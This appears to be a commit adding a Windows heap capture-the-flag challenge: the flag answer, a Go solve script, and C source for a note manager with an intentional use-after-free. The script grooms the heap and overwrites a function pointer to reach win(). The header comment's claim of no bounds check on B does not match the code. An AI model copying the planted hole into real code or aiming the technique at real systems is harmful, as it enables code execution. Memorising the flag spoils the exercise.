v0.1 - initial commit
This commit is contained in:
@@ -0,0 +1 @@
|
||||
flag{lfh_note_onprint_hijack}
|
||||
Binary file not shown.
@@ -0,0 +1,165 @@
|
||||
/*
|
||||
Solve script for heap_lfh.exe (see src/heap_lfh.c): a use-after-free on a
|
||||
real, explicitly-LFH-mode Windows heap (HeapCompatibilityInformation=2),
|
||||
not a simulation.
|
||||
|
||||
The grooming trick, found empirically while building this example (see
|
||||
USAGE.md's "Walkthrough 3" for the full story): LFH only reuses a freed
|
||||
slot quickly if it's freed from the *currently active* subsegment, which
|
||||
in practice means the *most recently allocated* same-size object. Freeing
|
||||
an early one can fail to come back for tens of thousands of attempts;
|
||||
freeing the last one allocated reliably reuses within a handful of
|
||||
allocations (1-16 in repeated empirical runs on this machine/OS build).
|
||||
|
||||
So: allocate a few filler notes, allocate the victim note *last*, free it,
|
||||
then spray 32-byte buffers (each containing a fake onPrint pointing at
|
||||
win()) until the leaked address of a spray matches the victim's leaked
|
||||
address -- then call P on the victim id. The spray/retry loop itself is
|
||||
winpwn.SprayAndFind (spray.go), not hand-rolled here -- examples/heap_segment
|
||||
needed the same shape (spray N times, look for a match against known
|
||||
samples) for a structurally different relation, which is exactly the
|
||||
"third copy-paste" signal that means it belongs in the library, not a
|
||||
script.
|
||||
|
||||
NOTE FOR TASK AUTHORS (not specific to this task -- read this before
|
||||
designing your own heap challenge): every numeric "fact" this solve script
|
||||
or its USAGE.md walkthrough states about LFH's behavior (attempt counts,
|
||||
"most recently allocated reuses reliably") was measured empirically on one
|
||||
specific Windows build/patch level, on one machine, today. LFH's internal
|
||||
bucket layout, subsegment sizing, and reuse heuristics are NOT a stable
|
||||
public contract -- they have changed across Windows versions before and can
|
||||
again. If you reuse this technique on a different build (or even a
|
||||
different machine), re-run the grooming experiment yourself (spray N,
|
||||
free one, spray replacements, count attempts-to-reuse) before trusting any
|
||||
specific number from this file or relying on "free the last one" as if it
|
||||
were guaranteed forever. Treat every offset/heuristic in a heap task as
|
||||
something to verify against *your actual target*, not something to copy
|
||||
from someone else's writeup.
|
||||
*/
|
||||
package main
|
||||
|
||||
import (
|
||||
"bytes"
|
||||
"fmt"
|
||||
"log"
|
||||
"strconv"
|
||||
"strings"
|
||||
"winpwn"
|
||||
)
|
||||
|
||||
// parseAddr extracts the "0x..." hex value following "addr=" in a line
|
||||
// like "OK id=5 addr=0x0000000000aa08e0".
|
||||
func parseAddr(line []byte) (uint64, error) {
|
||||
idx := bytes.Index(line, []byte("addr=0x"))
|
||||
if idx == -1 {
|
||||
return 0, fmt.Errorf("no addr= in line %q", line)
|
||||
}
|
||||
hexPart := line[idx+len("addr=0x"):]
|
||||
hexPart = bytes.TrimSpace(hexPart)
|
||||
return strconv.ParseUint(string(hexPart), 16, 64)
|
||||
}
|
||||
|
||||
func main() {
|
||||
pf, err := winpwn.OpenPE("heap_lfh.exe")
|
||||
if err != nil {
|
||||
log.Fatalf("OpenPE: %v", err)
|
||||
}
|
||||
winRVA, err := pf.GetProcAddress("win")
|
||||
if err != nil {
|
||||
log.Fatalf("win() not found: %v", err)
|
||||
}
|
||||
base, err := pf.ImageBase()
|
||||
if err != nil {
|
||||
log.Fatalf("ImageBase: %v", err)
|
||||
}
|
||||
winAddr := base + winRVA
|
||||
pf.Close()
|
||||
fmt.Printf("[+] win() address: 0x%X\n", winAddr)
|
||||
|
||||
tube, err := winpwn.Spawn("heap_lfh.exe")
|
||||
if err != nil {
|
||||
log.Fatalf("Spawn: %v", err)
|
||||
}
|
||||
|
||||
if _, err := tube.RecvLine(); err != nil { // "heap_lfh ready"
|
||||
log.Fatalf("RecvLine: %v", err)
|
||||
}
|
||||
|
||||
// A few filler notes (any of these could be freed and would NOT
|
||||
// reliably come back quickly -- that's the empirical finding).
|
||||
for i := 0; i < 5; i++ {
|
||||
if err := tube.SendLine([]byte(fmt.Sprintf("A filler%d", i))); err != nil {
|
||||
log.Fatalf("SendLine: %v", err)
|
||||
}
|
||||
if _, err := tube.RecvLine(); err != nil {
|
||||
log.Fatalf("RecvLine: %v", err)
|
||||
}
|
||||
}
|
||||
|
||||
// The victim note: allocated *last*, so its slot belongs to the
|
||||
// subsegment LFH is still actively issuing from.
|
||||
if err := tube.SendLine([]byte("A victim")); err != nil {
|
||||
log.Fatalf("SendLine: %v", err)
|
||||
}
|
||||
resp, err := tube.RecvLine()
|
||||
if err != nil {
|
||||
log.Fatalf("RecvLine: %v", err)
|
||||
}
|
||||
victimAddr, err := parseAddr(resp)
|
||||
if err != nil {
|
||||
log.Fatalf("parse victim addr: %v", err)
|
||||
}
|
||||
victimID := 5
|
||||
fmt.Printf("[+] victim note id=%d addr=0x%X\n", victimID, victimAddr)
|
||||
|
||||
if err := tube.SendLine([]byte(fmt.Sprintf("F %d", victimID))); err != nil {
|
||||
log.Fatalf("SendLine: %v", err)
|
||||
}
|
||||
if _, err := tube.RecvLine(); err != nil {
|
||||
log.Fatalf("RecvLine: %v", err)
|
||||
}
|
||||
|
||||
// Fake Note{ title[24], onPrint }: 24 bytes of filler (never read once
|
||||
// onPrint is redirected) + win()'s address where onPrint lives.
|
||||
payload := bytes.Repeat([]byte{0x41}, 24)
|
||||
payload = append(payload, winpwn.P64(winAddr)...)
|
||||
payloadHex := winpwn.Enhex(payload)
|
||||
|
||||
// winpwn.SprayAndFind seeded with the one known target (the freed
|
||||
// victim's leaked address): every spray attempt is checked against it,
|
||||
// stopping the moment a replacement reuses that exact slot.
|
||||
const maxAttempts = 64
|
||||
victim := winpwn.SprayResult[uint64]{ID: victimID, Key: victimAddr}
|
||||
_, _, attempts, ok, err := winpwn.SprayAndFind(
|
||||
[]winpwn.SprayResult[uint64]{victim},
|
||||
maxAttempts,
|
||||
func(attempt int) (winpwn.SprayResult[uint64], error) {
|
||||
if err := tube.SendLine([]byte("B " + payloadHex)); err != nil {
|
||||
return winpwn.SprayResult[uint64]{}, fmt.Errorf("SendLine: %w", err)
|
||||
}
|
||||
resp, err := tube.RecvLine()
|
||||
if err != nil {
|
||||
return winpwn.SprayResult[uint64]{}, fmt.Errorf("RecvLine: %w", err)
|
||||
}
|
||||
if !strings.HasPrefix(string(resp), "OK") {
|
||||
return winpwn.SprayResult[uint64]{}, fmt.Errorf("unexpected response: %q", resp)
|
||||
}
|
||||
addr, err := parseAddr(resp)
|
||||
return winpwn.SprayResult[uint64]{ID: attempt, Key: addr}, err
|
||||
},
|
||||
func(a, b uint64) bool { return a == b },
|
||||
)
|
||||
if err != nil {
|
||||
log.Fatalf("spray: %v", err)
|
||||
}
|
||||
if !ok {
|
||||
log.Fatalf("never landed on the freed slot within %d attempts", maxAttempts)
|
||||
}
|
||||
fmt.Printf("[+] spray hit the freed slot after %d attempt(s)\n", attempts)
|
||||
|
||||
if err := tube.SendLine([]byte(fmt.Sprintf("P %d", victimID))); err != nil {
|
||||
log.Fatalf("SendLine: %v", err)
|
||||
}
|
||||
|
||||
tube.Interactive()
|
||||
}
|
||||
@@ -0,0 +1,156 @@
|
||||
/*
|
||||
heap_lfh -- a deliberately tiny note manager, vulnerable to a classic
|
||||
use-after-free on Windows' real Low Fragmentation Heap (not a simulation):
|
||||
a private heap is created and explicitly switched into LFH mode via
|
||||
HeapSetInformation(HeapCompatibilityInformation, 2), the same documented
|
||||
mechanism winpwn's own reference notes (heap/pocs/02_lfh_probe.c) use to
|
||||
make LFH active deterministically instead of waiting on the ~17-allocation
|
||||
auto-activation heuristic.
|
||||
|
||||
The bug: Free (F) does not clear the dangling pointer in the notes table.
|
||||
Print (P) calls through Note.onPrint without checking whether the note was
|
||||
freed. There's also no bounds check tying the declared length of a B
|
||||
(buffer) command to the fixed 32-byte allocation it writes into.
|
||||
|
||||
Protocol (one command per line, stdout is unbuffered):
|
||||
A <text> allocate a Note{char title[24]; void(*onPrint)(const
|
||||
char*);}, fills title (truncated to 23 chars + NUL),
|
||||
sets onPrint to the real print function.
|
||||
-> "OK id=<n> addr=0x<hex>"
|
||||
F <id> HeapFree the note at that id (pointer stays in the table).
|
||||
-> "OK"
|
||||
B <hex32bytes> allocate a raw 32-byte buffer from the SAME heap and
|
||||
write exactly 32 attacker-supplied bytes into it
|
||||
(hex-encoded, 64 hex chars).
|
||||
-> "OK addr=0x<hex>"
|
||||
P <id> call notes[id]->onPrint(notes[id]->title).
|
||||
-> whatever onPrint prints
|
||||
Q quit.
|
||||
|
||||
__declspec(dllexport) on win() so it's found via the PE export table the
|
||||
same way examples/task2_rop's win() is -- no symbols needed.
|
||||
*/
|
||||
#define _CRT_SECURE_NO_WARNINGS
|
||||
#include <windows.h>
|
||||
#include <stdio.h>
|
||||
#include <string.h>
|
||||
#include <stdlib.h>
|
||||
|
||||
typedef struct {
|
||||
char title[24];
|
||||
void (*onPrint)(const char *);
|
||||
} Note;
|
||||
|
||||
#define MAX_NOTES 4096
|
||||
static Note *g_notes[MAX_NOTES];
|
||||
static int g_note_count = 0;
|
||||
static HANDLE g_heap;
|
||||
|
||||
static void real_print(const char *title) {
|
||||
printf("note: %s\n", title);
|
||||
}
|
||||
|
||||
__declspec(dllexport) void win(const char *ignored) {
|
||||
HANDLE hFile;
|
||||
char buffer[256];
|
||||
DWORD bytesRead;
|
||||
|
||||
printf("you just got code execution via a freed onPrint pointer\n");
|
||||
|
||||
hFile = CreateFileA("flag.txt", GENERIC_READ, FILE_SHARE_READ, NULL,
|
||||
OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
|
||||
if (hFile == INVALID_HANDLE_VALUE) {
|
||||
printf("Cannot open file.\n");
|
||||
ExitProcess(0);
|
||||
}
|
||||
if (ReadFile(hFile, buffer, sizeof(buffer) - 1, &bytesRead, NULL) && bytesRead > 0) {
|
||||
buffer[bytesRead] = '\0';
|
||||
printf("%s", buffer);
|
||||
}
|
||||
printf("\n");
|
||||
CloseHandle(hFile);
|
||||
ExitProcess(0);
|
||||
}
|
||||
|
||||
static int hexval(char c) {
|
||||
if (c >= '0' && c <= '9') return c - '0';
|
||||
if (c >= 'a' && c <= 'f') return c - 'a' + 10;
|
||||
if (c >= 'A' && c <= 'F') return c - 'A' + 10;
|
||||
return -1;
|
||||
}
|
||||
|
||||
static int unhex32(const char *hex, unsigned char *out) {
|
||||
if (strlen(hex) != 64) return 0;
|
||||
for (int i = 0; i < 32; i++) {
|
||||
int hi = hexval(hex[i * 2]);
|
||||
int lo = hexval(hex[i * 2 + 1]);
|
||||
if (hi < 0 || lo < 0) return 0;
|
||||
out[i] = (unsigned char)((hi << 4) | lo);
|
||||
}
|
||||
return 1;
|
||||
}
|
||||
|
||||
int main(void) {
|
||||
setvbuf(stdout, NULL, _IONBF, 0);
|
||||
setvbuf(stdin, NULL, _IONBF, 0);
|
||||
|
||||
g_heap = HeapCreate(0, 0, 0);
|
||||
if (!g_heap) {
|
||||
printf("HeapCreate failed\n");
|
||||
return 1;
|
||||
}
|
||||
ULONG mode = 2; /* HeapCompatibilityInformation: 2 == LFH, see heap/pocs/02_lfh_probe.c */
|
||||
HeapSetInformation(g_heap, HeapCompatibilityInformation, &mode, sizeof(mode));
|
||||
|
||||
printf("heap_lfh ready\n");
|
||||
|
||||
char line[256];
|
||||
while (fgets(line, sizeof(line), stdin)) {
|
||||
line[strcspn(line, "\r\n")] = 0;
|
||||
|
||||
if (line[0] == 'A' && line[1] == ' ') {
|
||||
if (g_note_count >= MAX_NOTES) {
|
||||
printf("ERR too many notes\n");
|
||||
continue;
|
||||
}
|
||||
Note *n = (Note *)HeapAlloc(g_heap, 0, sizeof(Note));
|
||||
if (!n) { printf("ERR alloc failed\n"); continue; }
|
||||
strncpy(n->title, line + 2, sizeof(n->title) - 1);
|
||||
n->title[sizeof(n->title) - 1] = 0;
|
||||
n->onPrint = real_print;
|
||||
int id = g_note_count++;
|
||||
g_notes[id] = n;
|
||||
printf("OK id=%d addr=0x%p\n", id, (void *)n);
|
||||
} else if (line[0] == 'F' && line[1] == ' ') {
|
||||
int id = atoi(line + 2);
|
||||
if (id < 0 || id >= g_note_count || !g_notes[id]) {
|
||||
printf("ERR bad id\n");
|
||||
continue;
|
||||
}
|
||||
HeapFree(g_heap, 0, g_notes[id]);
|
||||
printf("OK\n");
|
||||
} else if (line[0] == 'B' && line[1] == ' ') {
|
||||
unsigned char buf[32];
|
||||
if (!unhex32(line + 2, buf)) {
|
||||
printf("ERR need exactly 64 hex chars (32 bytes)\n");
|
||||
continue;
|
||||
}
|
||||
void *p = HeapAlloc(g_heap, 0, 32);
|
||||
if (!p) { printf("ERR alloc failed\n"); continue; }
|
||||
memcpy(p, buf, 32);
|
||||
printf("OK addr=0x%p\n", p);
|
||||
} else if (line[0] == 'P' && line[1] == ' ') {
|
||||
int id = atoi(line + 2);
|
||||
if (id < 0 || id >= g_note_count || !g_notes[id]) {
|
||||
printf("ERR bad id\n");
|
||||
continue;
|
||||
}
|
||||
g_notes[id]->onPrint(g_notes[id]->title);
|
||||
} else if (line[0] == 'Q') {
|
||||
break;
|
||||
} else {
|
||||
printf("ERR unknown command\n");
|
||||
}
|
||||
}
|
||||
return 0;
|
||||
}
|
||||
Reference in New Issue
Block a user